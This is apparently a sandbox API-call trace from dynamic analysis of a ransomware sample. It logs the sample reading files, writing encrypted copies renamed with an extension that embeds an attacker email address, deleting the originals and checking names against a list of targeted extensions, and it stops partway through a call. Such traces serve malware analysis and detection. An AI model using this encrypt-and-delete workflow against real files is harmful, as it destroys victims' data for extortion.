[0041.673] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.673] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.673] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0041.673] GetLastError () returned 0x0 [0041.673] ReadFile (in: hFile=0x31c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x81, lpOverlapped=0x0) returned 1 [0041.673] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x90, lpOverlapped=0x0) returned 1 [0041.674] ReadFile (in: hFile=0x31c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.674] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xea, lpOverlapped=0x0) returned 1 [0041.674] SetEndOfFile (hFile=0x320) returned 1 [0041.674] CloseHandle (hObject=0x320) returned 1 [0041.675] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.675] SetEndOfFile (hFile=0x31c) returned 1 [0041.675] CloseHandle (hObject=0x31c) returned 1 [0041.676] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x26) returned 1 [0041.676] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0041.676] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.676] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.676] lstrlenW (lpString=".doc") returned 4 [0041.676] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0041.676] lstrlenW (lpString=".docx") returned 5 [0041.676] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0041.676] lstrlenW (lpString=".pdf") returned 4 [0041.676] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0041.676] lstrlenW (lpString=".xls") returned 4 [0041.676] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0041.676] lstrlenW (lpString=".xlsx") returned 5 [0041.676] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0041.676] lstrlenW (lpString=".ppt") returned 4 [0041.677] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0041.677] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.677] lstrlenW (lpString=".zip") returned 4 [0041.677] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0041.677] lstrlenW (lpString=".rar") returned 4 [0041.677] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0041.677] lstrlenW (lpString=".bz2") returned 4 [0041.677] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0041.677] lstrlenW (lpString=".7z") returned 3 [0041.677] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0041.677] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.677] lstrlenW (lpString=".dbf") returned 4 [0041.677] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0041.677] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.677] lstrlenW (lpString=".1cd") returned 4 [0041.677] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0041.677] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.677] lstrlenW (lpString=".jpg") returned 4 [0041.677] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0041.677] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.677] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.677] lstrlenW (lpString=".doc") returned 4 [0041.677] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0041.677] lstrlenW (lpString=".docx") returned 5 [0041.677] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0041.677] lstrlenW (lpString=".pdf") returned 4 [0041.677] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0041.677] lstrlenW (lpString=".xls") returned 4 [0041.677] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0041.677] lstrlenW (lpString=".xlsx") returned 5 [0041.677] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0041.677] lstrlenW (lpString=".ppt") returned 4 [0041.677] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0041.677] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.677] lstrlenW (lpString=".zip") returned 4 [0041.678] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0041.678] lstrlenW (lpString=".rar") returned 4 [0041.678] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0041.678] lstrlenW (lpString=".bz2") returned 4 [0041.678] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0041.678] lstrlenW (lpString=".7z") returned 3 [0041.678] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0041.678] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.678] lstrlenW (lpString=".dbf") returned 4 [0041.678] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0041.678] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.678] lstrlenW (lpString=".1cd") returned 4 [0041.678] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0041.678] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0041.678] lstrlenW (lpString=".jpg") returned 4 [0041.678] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0041.678] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0041.678] lstrlenW (lpString="eula.rtf") returned 8 [0041.678] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0041.683] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=7567) returned 1 [0041.683] CloseHandle (hObject=0x318) returned 1 [0041.683] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0041.683] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.684] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.684] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0041.687] GetLastError () returned 0x0 [0041.687] ReadFile (in: hFile=0x30c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0041.750] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1d90, lpOverlapped=0x0) returned 1 [0041.752] ReadFile (in: hFile=0x30c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.752] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0041.752] SetEndOfFile (hFile=0x320) returned 1 [0041.752] CloseHandle (hObject=0x320) returned 1 [0041.753] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.753] SetEndOfFile (hFile=0x30c) returned 1 [0041.753] CloseHandle (hObject=0x30c) returned 1 [0041.753] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.754] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0041.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.754] lstrlenW (lpString=".doc") returned 4 [0041.754] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0041.754] lstrlenW (lpString=".docx") returned 5 [0041.754] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0041.754] lstrlenW (lpString=".pdf") returned 4 [0041.754] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0041.754] lstrlenW (lpString=".xls") returned 4 [0041.754] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0041.754] lstrlenW (lpString=".xlsx") returned 5 [0041.754] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0041.754] lstrlenW (lpString=".ppt") returned 4 [0041.754] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0041.754] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.754] lstrlenW (lpString=".zip") returned 4 [0041.754] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0041.754] lstrlenW (lpString=".rar") returned 4 [0041.754] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0041.754] lstrlenW (lpString=".bz2") returned 4 [0041.754] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0041.755] lstrlenW (lpString=".7z") returned 3 [0041.755] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0041.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.755] lstrlenW (lpString=".dbf") returned 4 [0041.755] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0041.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.755] lstrlenW (lpString=".1cd") returned 4 [0041.755] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0041.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.755] lstrlenW (lpString=".jpg") returned 4 [0041.755] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0041.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.755] lstrlenW (lpString=".doc") returned 4 [0041.755] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0041.755] lstrlenW (lpString=".docx") returned 5 [0041.755] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0041.755] lstrlenW (lpString=".pdf") returned 4 [0041.755] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0041.755] lstrlenW (lpString=".xls") returned 4 [0041.755] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0041.755] lstrlenW (lpString=".xlsx") returned 5 [0041.755] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0041.755] lstrlenW (lpString=".ppt") returned 4 [0041.755] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0041.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.755] lstrlenW (lpString=".zip") returned 4 [0041.755] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0041.756] lstrlenW (lpString=".rar") returned 4 [0041.756] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0041.756] lstrlenW (lpString=".bz2") returned 4 [0041.756] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0041.756] lstrlenW (lpString=".7z") returned 3 [0041.756] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0041.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.756] lstrlenW (lpString=".dbf") returned 4 [0041.756] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0041.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.756] lstrlenW (lpString=".1cd") returned 4 [0041.756] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0041.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0041.756] lstrlenW (lpString=".jpg") returned 4 [0041.756] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0041.756] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0041.756] lstrlenW (lpString="LocalizedData.xml") returned 17 [0041.756] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.756] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=74214) returned 1 [0041.756] CloseHandle (hObject=0x30c) returned 1 [0041.756] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0041.756] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.757] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.757] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.757] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.757] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0041.757] GetLastError () returned 0x0 [0041.757] ReadFile (in: hFile=0x30c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x121e6, lpOverlapped=0x0) returned 1 [0041.773] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x121f0, lpOverlapped=0x0) returned 1 [0041.774] ReadFile (in: hFile=0x30c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.774] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xf6, lpOverlapped=0x0) returned 1 [0041.774] SetEndOfFile (hFile=0x320) returned 1 [0041.775] CloseHandle (hObject=0x320) returned 1 [0041.776] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.776] SetEndOfFile (hFile=0x30c) returned 1 [0041.790] CloseHandle (hObject=0x30c) returned 1 [0041.790] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.791] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0041.791] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.791] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.791] lstrlenW (lpString=".doc") returned 4 [0041.791] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.791] lstrlenW (lpString=".docx") returned 5 [0041.791] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0041.791] lstrlenW (lpString=".pdf") returned 4 [0041.791] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.791] lstrlenW (lpString=".xls") returned 4 [0041.791] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.791] lstrlenW (lpString=".xlsx") returned 5 [0041.791] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0041.791] lstrlenW (lpString=".ppt") returned 4 [0041.791] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.791] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.791] lstrlenW (lpString=".zip") returned 4 [0041.791] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.791] lstrlenW (lpString=".rar") returned 4 [0041.791] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.791] lstrlenW (lpString=".bz2") returned 4 [0041.792] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.792] lstrlenW (lpString=".7z") returned 3 [0041.792] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.792] lstrlenW (lpString=".dbf") returned 4 [0041.792] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.792] lstrlenW (lpString=".1cd") returned 4 [0041.792] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.792] lstrlenW (lpString=".jpg") returned 4 [0041.792] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.792] lstrlenW (lpString=".doc") returned 4 [0041.792] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.792] lstrlenW (lpString=".docx") returned 5 [0041.792] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0041.792] lstrlenW (lpString=".pdf") returned 4 [0041.792] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.792] lstrlenW (lpString=".xls") returned 4 [0041.792] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.792] lstrlenW (lpString=".xlsx") returned 5 [0041.792] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0041.792] lstrlenW (lpString=".ppt") returned 4 [0041.792] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.792] lstrlenW (lpString=".zip") returned 4 [0041.792] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.792] lstrlenW (lpString=".rar") returned 4 [0041.792] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.793] lstrlenW (lpString=".bz2") returned 4 [0041.793] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.793] lstrlenW (lpString=".7z") returned 3 [0041.793] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.793] lstrlenW (lpString=".dbf") returned 4 [0041.793] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.793] lstrlenW (lpString=".1cd") returned 4 [0041.793] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0041.793] lstrlenW (lpString=".jpg") returned 4 [0041.793] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.793] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0041.793] lstrlenW (lpString="eula.rtf") returned 8 [0041.793] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.793] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=6309) returned 1 [0041.793] CloseHandle (hObject=0x30c) returned 1 [0041.793] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0041.793] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.794] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.794] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.794] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.794] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0041.794] GetLastError () returned 0x0 [0041.794] ReadFile (in: hFile=0x30c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0041.816] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0041.817] ReadFile (in: hFile=0x30c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.817] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0041.817] SetEndOfFile (hFile=0x320) returned 1 [0041.818] CloseHandle (hObject=0x320) returned 1 [0041.818] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.818] SetEndOfFile (hFile=0x30c) returned 1 [0041.819] CloseHandle (hObject=0x30c) returned 1 [0041.819] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.819] DeleteFileW 